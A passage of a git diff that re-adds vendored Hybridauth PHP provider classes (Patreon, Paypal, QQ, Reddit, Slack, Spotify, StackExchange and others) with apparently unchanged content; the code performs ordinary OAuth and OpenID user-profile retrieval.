=> 'users.getCurrentUser', + 'fields' => implode(',', $fields), + 'sig' => $sig, + ]; + + $response = $this->apiRequest('fb.do', 'GET', $parameters); + + $data = new Data\Collection($response); + + if (!$data->exists('uid')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + + $userProfile->identifier = $data->get('uid'); + $userProfile->email = $data->get('email'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->displayName = $data->get('name'); + $userProfile->photoURL = $data->get('pic1024x768'); + $userProfile->profileURL = 'http://ok.ru/profile/' . $data->get('uid'); + + // Handle birthday. + if ($data->get('birthday')) { + $bday = explode('-', $data->get('birthday')); + $userProfile->birthDay = (int)$bday[0]; + $userProfile->birthMonth = (int)$bday[1]; + $userProfile->birthYear = (int)$bday[2]; + } + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/OpenID.php b/vendor/hybridauth/hybridauth/src/Provider/OpenID.php index e6b20af416..d58a30d493 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/OpenID.php +++ b/vendor/hybridauth/hybridauth/src/Provider/OpenID.php @@ -1,44 +1,44 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * - * // authenticate with Yahoo openid - * 'openid_identifier' => 'https://open.login.yahooapis.com/openid20/www.yahoo.com/xrds' - * - * // authenticate with stackexchange network openid - * // 'openid_identifier' => 'https://openid.stackexchange.com/', - * - * // authenticate with Steam openid - * // 'openid_identifier' => 'http://steamcommunity.com/openid', - * - * // etc. - * ]; - * - * $adapter = new Hybridauth\Provider\OpenID($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - */ -class OpenID extends Adapter\OpenID -{ -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * + * // authenticate with Yahoo openid + * 'openid_identifier' => 'https://open.login.yahooapis.com/openid20/www.yahoo.com/xrds' + * + * // authenticate with stackexchange network openid + * // 'openid_identifier' => 'https://openid.stackexchange.com/', + * + * // authenticate with Steam openid + * // 'openid_identifier' => 'http://steamcommunity.com/openid', + * + * // etc. + * ]; + * + * $adapter = new Hybridauth\Provider\OpenID($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + */ +class OpenID extends Adapter\OpenID +{ +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Patreon.php b/vendor/hybridauth/hybridauth/src/Provider/Patreon.php index 76d41e0458..83ff612fa0 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Patreon.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Patreon.php @@ -1,194 +1,194 @@ -isRefreshTokenAvailable()) { - $this->tokenRefreshParameters += [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret, - ]; - } - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('oauth2/v2/identity', 'GET', [ - 'fields[user]' => 'created,first_name,last_name,email,full_name,is_email_verified,thumb_url,url', - ]); - - $collection = new Collection($response); - if (!$collection->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new Profile(); - - $data = $collection->filter('data'); - $attributes = $data->filter('attributes'); - - $userProfile->identifier = $data->get('id'); - $userProfile->email = $attributes->get('email'); - $userProfile->firstName = $attributes->get('first_name'); - $userProfile->lastName = $attributes->get('last_name'); - $userProfile->displayName = $attributes->get('full_name') ?: $data->get('id'); - $userProfile->photoURL = $attributes->get('thumb_url'); - $userProfile->profileURL = $attributes->get('url'); - - $userProfile->emailVerified = $attributes->get('is_email_verified') ? $userProfile->email : ''; - - return $userProfile; - } - - /** - * Contacts are defined as Patrons here - */ - public function getUserContacts() - { - $campaignId = $this->config->get('campaign_id') ?: null; - $tierFilter = $this->config->get('tier_filter') ?: null; - - $campaigns = []; - if ($campaignId === null) { - $campaignsUrl = 'oauth2/v2/campaigns'; - do { - $response = $this->apiRequest($campaignsUrl); - $data = new Collection($response); - - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - foreach ($data->filter('data')->toArray() as $item) { - $campaign = new Collection($item); - $campaigns[] = $campaign->get('id'); - } - - if ($data->filter('links')->exists('next')) { - $campaignsUrl = $data->filter('links')->get('next'); - - $pagedList = true; - } else { - $pagedList = false; - } - } while ($pagedList); - } else { - $campaigns[] = $campaignId; - } - - $contacts = []; - - foreach ($campaigns as $campaignId) { - $params = [ - 'include' => 'currently_entitled_tiers', - 'fields[member]' => 'full_name,patron_status,email', - 'fields[tier]' => 'title', - ]; - $membersUrl = 'oauth2/v2/campaigns/' . $campaignId . '/members?' . http_build_query($params); - - do { - $response = $this->apiRequest($membersUrl); - - $data = new Collection($response); - - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $tierTitles = []; - - foreach ($data->filter('included')->toArray() as $item) { - $includedItem = new Collection($item); - if ($includedItem->get('type') == 'tier') { - $tierTitles[$includedItem->get('id')] = $includedItem->filter('attributes')->get('title'); - } - } - - foreach ($data->filter('data')->toArray() as $item) { - $member = new Collection($item); - - if ($member->filter('attributes')->get('patron_status') == 'active_patron') { - $tiers = []; - $tierObs = $member->filter('relationships')->filter('currently_entitled_tiers')->get('data'); - foreach ($tierObs as $item) { - $tier = new Collection($item); - $tierId = $tier->get('id'); - $tiers[] = $tierTitles[$tierId]; - } - - if (($tierFilter === null) || (in_array($tierFilter, $tiers))) { - $userContact = new User\Contact(); - - $userContact->identifier = $member->get('id'); - $userContact->email = $member->filter('attributes')->get('email'); - $userContact->displayName = $member->filter('attributes')->get('full_name'); - $userContact->description = json_encode($tiers); - - $contacts[] = $userContact; - } - } - } - - if ($data->filter('links')->exists('next')) { - $membersUrl = $data->filter('links')->get('next'); - - $pagedList = true; - } else { - $pagedList = false; - } - } while ($pagedList); - } - - return $contacts; - } -} +isRefreshTokenAvailable()) { + $this->tokenRefreshParameters += [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret, + ]; + } + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('oauth2/v2/identity', 'GET', [ + 'fields[user]' => 'created,first_name,last_name,email,full_name,is_email_verified,thumb_url,url', + ]); + + $collection = new Collection($response); + if (!$collection->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new Profile(); + + $data = $collection->filter('data'); + $attributes = $data->filter('attributes'); + + $userProfile->identifier = $data->get('id'); + $userProfile->email = $attributes->get('email'); + $userProfile->firstName = $attributes->get('first_name'); + $userProfile->lastName = $attributes->get('last_name'); + $userProfile->displayName = $attributes->get('full_name') ?: $data->get('id'); + $userProfile->photoURL = $attributes->get('thumb_url'); + $userProfile->profileURL = $attributes->get('url'); + + $userProfile->emailVerified = $attributes->get('is_email_verified') ? $userProfile->email : ''; + + return $userProfile; + } + + /** + * Contacts are defined as Patrons here + */ + public function getUserContacts() + { + $campaignId = $this->config->get('campaign_id') ?: null; + $tierFilter = $this->config->get('tier_filter') ?: null; + + $campaigns = []; + if ($campaignId === null) { + $campaignsUrl = 'oauth2/v2/campaigns'; + do { + $response = $this->apiRequest($campaignsUrl); + $data = new Collection($response); + + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + foreach ($data->filter('data')->toArray() as $item) { + $campaign = new Collection($item); + $campaigns[] = $campaign->get('id'); + } + + if ($data->filter('links')->exists('next')) { + $campaignsUrl = $data->filter('links')->get('next'); + + $pagedList = true; + } else { + $pagedList = false; + } + } while ($pagedList); + } else { + $campaigns[] = $campaignId; + } + + $contacts = []; + + foreach ($campaigns as $campaignId) { + $params = [ + 'include' => 'currently_entitled_tiers', + 'fields[member]' => 'full_name,patron_status,email', + 'fields[tier]' => 'title', + ]; + $membersUrl = 'oauth2/v2/campaigns/' . $campaignId . '/members?' . http_build_query($params); + + do { + $response = $this->apiRequest($membersUrl); + + $data = new Collection($response); + + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $tierTitles = []; + + foreach ($data->filter('included')->toArray() as $item) { + $includedItem = new Collection($item); + if ($includedItem->get('type') == 'tier') { + $tierTitles[$includedItem->get('id')] = $includedItem->filter('attributes')->get('title'); + } + } + + foreach ($data->filter('data')->toArray() as $item) { + $member = new Collection($item); + + if ($member->filter('attributes')->get('patron_status') == 'active_patron') { + $tiers = []; + $tierObs = $member->filter('relationships')->filter('currently_entitled_tiers')->get('data'); + foreach ($tierObs as $item) { + $tier = new Collection($item); + $tierId = $tier->get('id'); + $tiers[] = $tierTitles[$tierId]; + } + + if (($tierFilter === null) || (in_array($tierFilter, $tiers))) { + $userContact = new User\Contact(); + + $userContact->identifier = $member->get('id'); + $userContact->email = $member->filter('attributes')->get('email'); + $userContact->displayName = $member->filter('attributes')->get('full_name'); + $userContact->description = json_encode($tiers); + + $contacts[] = $userContact; + } + } + } + + if ($data->filter('links')->exists('next')) { + $membersUrl = $data->filter('links')->get('next'); + + $pagedList = true; + } else { + $pagedList = false; + } + } while ($pagedList); + } + + return $contacts; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Paypal.php b/vendor/hybridauth/hybridauth/src/Provider/Paypal.php index 8d54ac223c..be6ff423ac 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Paypal.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Paypal.php @@ -1,113 +1,113 @@ -AuthorizeUrlParameters += [ - 'flowEntry' => 'static' - ]; - - $this->tokenExchangeHeaders = [ - 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) - ]; - - $this->tokenRefreshHeaders = [ - 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) - ]; - } - - /** - * {@inheritdoc} - * - * See: https://developer.paypal.com/docs/api/identity/v1/ - * See: https://developer.paypal.com/docs/connect-with-paypal/integrate/ - */ - public function getUserProfile() - { - $headers = [ - 'Content-Type' => 'application/json', - ]; - - $parameters = [ - 'schema' => 'paypalv1.1' - ]; - - $response = $this->apiRequest('v1/identity/oauth2/userinfo', 'GET', $parameters, $headers); - $data = new Data\Collection($response); - - if (!$data->exists('user_id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - $userProfile->identifier = $data->get('user_id'); - $userProfile->firstName = $data->get('given_name'); - $userProfile->lastName = $data->get('family_name'); - $userProfile->displayName = $data->get('name'); - $userProfile->address = $data->filter('address')->get('street_address'); - $userProfile->city = $data->filter('address')->get('locality'); - $userProfile->country = $data->filter('address')->get('country'); - $userProfile->region = $data->filter('address')->get('region'); - $userProfile->zip = $data->filter('address')->get('postal_code'); - - $emails = $data->filter('emails')->toArray(); - foreach ($emails as $email) { - $email = new Data\Collection($email); - if ($email->get('confirmed')) { - $userProfile->emailVerified = $email->get('value'); - } - - if ($email->get('primary')) { - $userProfile->email = $email->get('value'); - } - } - - return $userProfile; - } -} +AuthorizeUrlParameters += [ + 'flowEntry' => 'static' + ]; + + $this->tokenExchangeHeaders = [ + 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) + ]; + + $this->tokenRefreshHeaders = [ + 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) + ]; + } + + /** + * {@inheritdoc} + * + * See: https://developer.paypal.com/docs/api/identity/v1/ + * See: https://developer.paypal.com/docs/connect-with-paypal/integrate/ + */ + public function getUserProfile() + { + $headers = [ + 'Content-Type' => 'application/json', + ]; + + $parameters = [ + 'schema' => 'paypalv1.1' + ]; + + $response = $this->apiRequest('v1/identity/oauth2/userinfo', 'GET', $parameters, $headers); + $data = new Data\Collection($response); + + if (!$data->exists('user_id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + $userProfile->identifier = $data->get('user_id'); + $userProfile->firstName = $data->get('given_name'); + $userProfile->lastName = $data->get('family_name'); + $userProfile->displayName = $data->get('name'); + $userProfile->address = $data->filter('address')->get('street_address'); + $userProfile->city = $data->filter('address')->get('locality'); + $userProfile->country = $data->filter('address')->get('country'); + $userProfile->region = $data->filter('address')->get('region'); + $userProfile->zip = $data->filter('address')->get('postal_code'); + + $emails = $data->filter('emails')->toArray(); + foreach ($emails as $email) { + $email = new Data\Collection($email); + if ($email->get('confirmed')) { + $userProfile->emailVerified = $email->get('value'); + } + + if ($email->get('primary')) { + $userProfile->email = $email->get('value'); + } + } + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/PaypalOpenID.php b/vendor/hybridauth/hybridauth/src/Provider/PaypalOpenID.php index 784e5963f9..9c455f82e0 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/PaypalOpenID.php +++ b/vendor/hybridauth/hybridauth/src/Provider/PaypalOpenID.php @@ -1,71 +1,71 @@ -openIdClient->identity = $this->openidIdentifier; - $this->openIdClient->returnUrl = $this->callback; - $this->openIdClient->required = [ - 'namePerson/prefix', - 'namePerson/first', - 'namePerson/last', - 'namePerson/middle', - 'namePerson/suffix', - 'namePerson/friendly', - 'person/guid', - 'birthDate/birthYear', - 'birthDate/birthMonth', - 'birthDate/birthday', - 'gender', - 'language/pref', - 'contact/phone/default', - 'contact/phone/home', - 'contact/phone/business', - 'contact/phone/cell', - 'contact/phone/fax', - 'contact/postaladdress/home', - 'contact/postaladdressadditional/home', - 'contact/city/home', - 'contact/state/home', - 'contact/country/home', - 'contact/postalcode/home', - 'contact/postaladdress/business', - 'contact/postaladdressadditional/business', - 'contact/city/business', - 'contact/state/business', - 'contact/country/business', - 'contact/postalcode/business', - 'company/name', - 'company/title', - ]; - - HttpClient\Util::redirect($this->openIdClient->authUrl()); - } -} +openIdClient->identity = $this->openidIdentifier; + $this->openIdClient->returnUrl = $this->callback; + $this->openIdClient->required = [ + 'namePerson/prefix', + 'namePerson/first', + 'namePerson/last', + 'namePerson/middle', + 'namePerson/suffix', + 'namePerson/friendly', + 'person/guid', + 'birthDate/birthYear', + 'birthDate/birthMonth', + 'birthDate/birthday', + 'gender', + 'language/pref', + 'contact/phone/default', + 'contact/phone/home', + 'contact/phone/business', + 'contact/phone/cell', + 'contact/phone/fax', + 'contact/postaladdress/home', + 'contact/postaladdressadditional/home', + 'contact/city/home', + 'contact/state/home', + 'contact/country/home', + 'contact/postalcode/home', + 'contact/postaladdress/business', + 'contact/postaladdressadditional/business', + 'contact/city/business', + 'contact/state/business', + 'contact/country/business', + 'contact/postalcode/business', + 'company/name', + 'company/title', + ]; + + HttpClient\Util::redirect($this->openIdClient->authUrl()); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Pinterest.php b/vendor/hybridauth/hybridauth/src/Provider/Pinterest.php index 26515862ff..e6e7ee604f 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Pinterest.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Pinterest.php @@ -1,74 +1,74 @@ -apiRequest('me'); - - $data = new Data\Collection($response); - - $data = $data->filter('data'); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->description = $data->get('bio'); - $userProfile->photoURL = $data->get('image'); - $userProfile->displayName = $data->get('username'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->profileURL = "https://pinterest.com/{$data->get('username')}"; - - $userProfile->data = (array)$data->get('counts'); - - return $userProfile; - } -} +apiRequest('me'); + + $data = new Data\Collection($response); + + $data = $data->filter('data'); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->description = $data->get('bio'); + $userProfile->photoURL = $data->get('image'); + $userProfile->displayName = $data->get('username'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->profileURL = "https://pinterest.com/{$data->get('username')}"; + + $userProfile->data = (array)$data->get('counts'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/QQ.php b/vendor/hybridauth/hybridauth/src/Provider/QQ.php index 391058a9d7..88e1bbb6a2 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/QQ.php +++ b/vendor/hybridauth/hybridauth/src/Provider/QQ.php @@ -1,138 +1,138 @@ -isRefreshTokenAvailable()) { - $this->tokenRefreshParameters += [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret, - ]; - } - - $this->apiRequestParameters = [ - 'access_token' => $this->getStoredData('access_token') - ]; - - $this->apiRequestHeaders = []; - } - - /** - * {@inheritdoc} - */ - protected function validateAccessTokenExchange($response) - { - $collection = parent::validateAccessTokenExchange($response); - - $resp = $this->apiRequest($this->accessTokenInfoUrl); - $resp = key($resp); - - $len = strlen($resp); - $res = substr($resp, 10, $len - 14); - - $response = (new Data\Parser())->parse($res); - - if (!isset($response->openid)) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $this->storeData('openid', $response->openid); - - return $collection; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $openid = $this->getStoredData('openid'); - - $userRequestParameters = [ - 'oauth_consumer_key' => $this->clientId, - 'openid' => $openid, - 'format' => 'json' - ]; - - $response = $this->apiRequest($this->accessUserInfo, 'GET', $userRequestParameters); - - $data = new Data\Collection($response); - - if ($data->get('ret') < 0) { - throw new UnexpectedApiResponseException('Provider API returned an error: ' . $data->get('msg')); - } - - $userProfile = new Profile(); - - $userProfile->identifier = $openid; - $userProfile->displayName = $data->get('nickname'); - $userProfile->photoURL = $data->get('figureurl_2'); - $userProfile->gender = $data->get('gender'); - $userProfile->region = $data->get('province'); - $userProfile->city = $data->get('city'); - - return $userProfile; - } -} +isRefreshTokenAvailable()) { + $this->tokenRefreshParameters += [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret, + ]; + } + + $this->apiRequestParameters = [ + 'access_token' => $this->getStoredData('access_token') + ]; + + $this->apiRequestHeaders = []; + } + + /** + * {@inheritdoc} + */ + protected function validateAccessTokenExchange($response) + { + $collection = parent::validateAccessTokenExchange($response); + + $resp = $this->apiRequest($this->accessTokenInfoUrl); + $resp = key($resp); + + $len = strlen($resp); + $res = substr($resp, 10, $len - 14); + + $response = (new Data\Parser())->parse($res); + + if (!isset($response->openid)) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $this->storeData('openid', $response->openid); + + return $collection; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $openid = $this->getStoredData('openid'); + + $userRequestParameters = [ + 'oauth_consumer_key' => $this->clientId, + 'openid' => $openid, + 'format' => 'json' + ]; + + $response = $this->apiRequest($this->accessUserInfo, 'GET', $userRequestParameters); + + $data = new Data\Collection($response); + + if ($data->get('ret') < 0) { + throw new UnexpectedApiResponseException('Provider API returned an error: ' . $data->get('msg')); + } + + $userProfile = new Profile(); + + $userProfile->identifier = $openid; + $userProfile->displayName = $data->get('nickname'); + $userProfile->photoURL = $data->get('figureurl_2'); + $userProfile->gender = $data->get('gender'); + $userProfile->region = $data->get('province'); + $userProfile->city = $data->get('city'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Reddit.php b/vendor/hybridauth/hybridauth/src/Provider/Reddit.php index 82390b57cc..fa48b0f440 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Reddit.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Reddit.php @@ -1,91 +1,91 @@ -AuthorizeUrlParameters += [ - 'duration' => 'permanent' - ]; - - $this->tokenExchangeParameters = [ - 'client_id' => $this->clientId, - 'grant_type' => 'authorization_code', - 'redirect_uri' => $this->callback - ]; - - $this->tokenExchangeHeaders = [ - 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) - ]; - - $this->tokenRefreshHeaders = $this->tokenExchangeHeaders; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('me.json'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('name'); - $userProfile->profileURL = 'https://www.reddit.com/user/' . $data->get('name') . '/'; - $userProfile->photoURL = $data->get('icon_img'); - - return $userProfile; - } -} +AuthorizeUrlParameters += [ + 'duration' => 'permanent' + ]; + + $this->tokenExchangeParameters = [ + 'client_id' => $this->clientId, + 'grant_type' => 'authorization_code', + 'redirect_uri' => $this->callback + ]; + + $this->tokenExchangeHeaders = [ + 'Authorization' => 'Basic ' . base64_encode($this->clientId . ':' . $this->clientSecret) + ]; + + $this->tokenRefreshHeaders = $this->tokenExchangeHeaders; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('me.json'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('name'); + $userProfile->profileURL = 'https://www.reddit.com/user/' . $data->get('name') . '/'; + $userProfile->photoURL = $data->get('icon_img'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Slack.php b/vendor/hybridauth/hybridauth/src/Provider/Slack.php index e864cfb0f8..d424b8d726 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Slack.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Slack.php @@ -1,100 +1,100 @@ -apiRequest('api/users.identity'); - - $data = new Data\Collection($response); - - if (!$data->exists('ok') || !$data->get('ok')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->filter('user')->get('id'); - $userProfile->displayName = $data->filter('user')->get('name'); - $userProfile->email = $data->filter('user')->get('email'); - $userProfile->photoURL = $this->findLargestImage($data); - - return $userProfile; - } - - /** - * Returns the url of the image with the highest resolution in the user - * object. - * - * Slack sends multiple image urls with different resolutions. As they make - * no guarantees which resolutions will be included we have to search all - * image_* properties for the one with the highest resolution. - * The resolution is attached to the property name such as - * image_32 or image_192. - * - * @param Data\Collection $data response object as returned by - * api/users.identity - * - * @return string|null the value of the image_* property with - * the highest resolution. - */ - private function findLargestImage(Data\Collection $data) - { - $maxSize = 0; - foreach ($data->filter('user')->properties() as $property) { - if (preg_match('/^image_(\d+)$/', $property, $matches) === 1) { - $availableSize = (int)$matches[1]; - if ($maxSize < $availableSize) { - $maxSize = $availableSize; - } - } - } - if ($maxSize > 0) { - return $data->filter('user')->get('image_' . $maxSize); - } - return null; - } -} +apiRequest('api/users.identity'); + + $data = new Data\Collection($response); + + if (!$data->exists('ok') || !$data->get('ok')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->filter('user')->get('id'); + $userProfile->displayName = $data->filter('user')->get('name'); + $userProfile->email = $data->filter('user')->get('email'); + $userProfile->photoURL = $this->findLargestImage($data); + + return $userProfile; + } + + /** + * Returns the url of the image with the highest resolution in the user + * object. + * + * Slack sends multiple image urls with different resolutions. As they make + * no guarantees which resolutions will be included we have to search all + * image_* properties for the one with the highest resolution. + * The resolution is attached to the property name such as + * image_32 or image_192. + * + * @param Data\Collection $data response object as returned by + * api/users.identity + * + * @return string|null the value of the image_* property with + * the highest resolution. + */ + private function findLargestImage(Data\Collection $data) + { + $maxSize = 0; + foreach ($data->filter('user')->properties() as $property) { + if (preg_match('/^image_(\d+)$/', $property, $matches) === 1) { + $availableSize = (int)$matches[1]; + if ($maxSize < $availableSize) { + $maxSize = $availableSize; + } + } + } + if ($maxSize > 0) { + return $data->filter('user')->get('image_' . $maxSize); + } + return null; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Spotify.php b/vendor/hybridauth/hybridauth/src/Provider/Spotify.php index f2e7da65dd..c995efe217 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Spotify.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Spotify.php @@ -1,93 +1,93 @@ -apiRequest('me'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('display_name'); - $userProfile->email = $data->get('email'); - $userProfile->emailVerified = $data->get('email'); - $userProfile->profileURL = $data->filter('external_urls')->get('spotify'); - $userProfile->photoURL = $data->filter('images')->get('url'); - $userProfile->country = $data->get('country'); - - if ($data->exists('birthdate')) { - $this->fetchBirthday($userProfile, $data->get('birthdate')); - } - - return $userProfile; - } - - /** - * Fetch use birthday - * - * @param User\Profile $userProfile - * @param $birthday - * - * @return User\Profile - */ - protected function fetchBirthday(User\Profile $userProfile, $birthday) - { - $result = (new Data\Parser())->parseBirthday($birthday, '-'); - - $userProfile->birthDay = (int)$result[0]; - $userProfile->birthMonth = (int)$result[1]; - $userProfile->birthYear = (int)$result[2]; - - return $userProfile; - } -} +apiRequest('me'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('display_name'); + $userProfile->email = $data->get('email'); + $userProfile->emailVerified = $data->get('email'); + $userProfile->profileURL = $data->filter('external_urls')->get('spotify'); + $userProfile->photoURL = $data->filter('images')->get('url'); + $userProfile->country = $data->get('country'); + + if ($data->exists('birthdate')) { + $this->fetchBirthday($userProfile, $data->get('birthdate')); + } + + return $userProfile; + } + + /** + * Fetch use birthday + * + * @param User\Profile $userProfile + * @param $birthday + * + * @return User\Profile + */ + protected function fetchBirthday(User\Profile $userProfile, $birthday) + { + $result = (new Data\Parser())->parseBirthday($birthday, '-'); + + $userProfile->birthDay = (int)$result[0]; + $userProfile->birthMonth = (int)$result[1]; + $userProfile->birthYear = (int)$result[2]; + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/StackExchange.php b/vendor/hybridauth/hybridauth/src/Provider/StackExchange.php index e8e15056fe..240b9f6d6d 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/StackExchange.php +++ b/vendor/hybridauth/hybridauth/src/Provider/StackExchange.php @@ -1,106 +1,106 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['id' => '', 'secret' => ''], - * 'site' => 'stackoverflow' // required parameter to call getUserProfile() - * 'api_key' => '...' // that thing to receive a higher request quota. - * ]; - * - * $adapter = new Hybridauth\Provider\StackExchange($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * $tokens = $adapter->getAccessToken(); - * } catch (\Exception $e ){ - * echo $e->getMessage() ; - * } - */ -class StackExchange extends OAuth2 -{ - /** - * {@inheritdoc} - */ - protected $scope = null; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://api.stackexchange.com/2.2/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://stackexchange.com/oauth'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://stackexchange.com/oauth/access_token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://api.stackexchange.com/docs/authentication'; - - /** - * {@inheritdoc} - */ - protected function initialize() - { - parent::initialize(); - - $apiKey = $this->config->get('api_key'); - - $this->apiRequestParameters = ['key' => $apiKey]; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $site = $this->config->get('site'); - - $response = $this->apiRequest('me', 'GET', [ - 'site' => $site, - 'access_token' => $this->getStoredData('access_token'), - ]); - - if (!$response || !isset($response->items) || !isset($response->items[0])) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $data = new Data\Collection($response->items[0]); - - $userProfile = new User\Profile(); - - $userProfile->identifier = strval($data->get('user_id')); - $userProfile->displayName = $data->get('display_name'); - $userProfile->photoURL = $data->get('profile_image'); - $userProfile->profileURL = $data->get('link'); - $userProfile->region = $data->get('location'); - $userProfile->age = $data->get('age'); - - return $userProfile; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['id' => '', 'secret' => ''], + * 'site' => 'stackoverflow' // required parameter to call getUserProfile() + * 'api_key' => '...' // that thing to receive a higher request quota. + * ]; + * + * $adapter = new Hybridauth\Provider\StackExchange($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * $tokens = $adapter->getAccessToken(); + * } catch (\Exception $e ){ + * echo $e->getMessage() ; + * } + */ +class StackExchange extends OAuth2 +{ + /** + * {@inheritdoc} + */ + protected $scope = null; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://api.stackexchange.com/2.2/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://stackexchange.com/oauth'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://stackexchange.com/oauth/access_token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://api.stackexchange.com/docs/authentication'; + + /** + * {@inheritdoc} + */ + protected function initialize() + { + parent::initialize(); + + $apiKey = $this->config->get('api_key'); + + $this->apiRequestParameters = ['key' => $apiKey]; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() 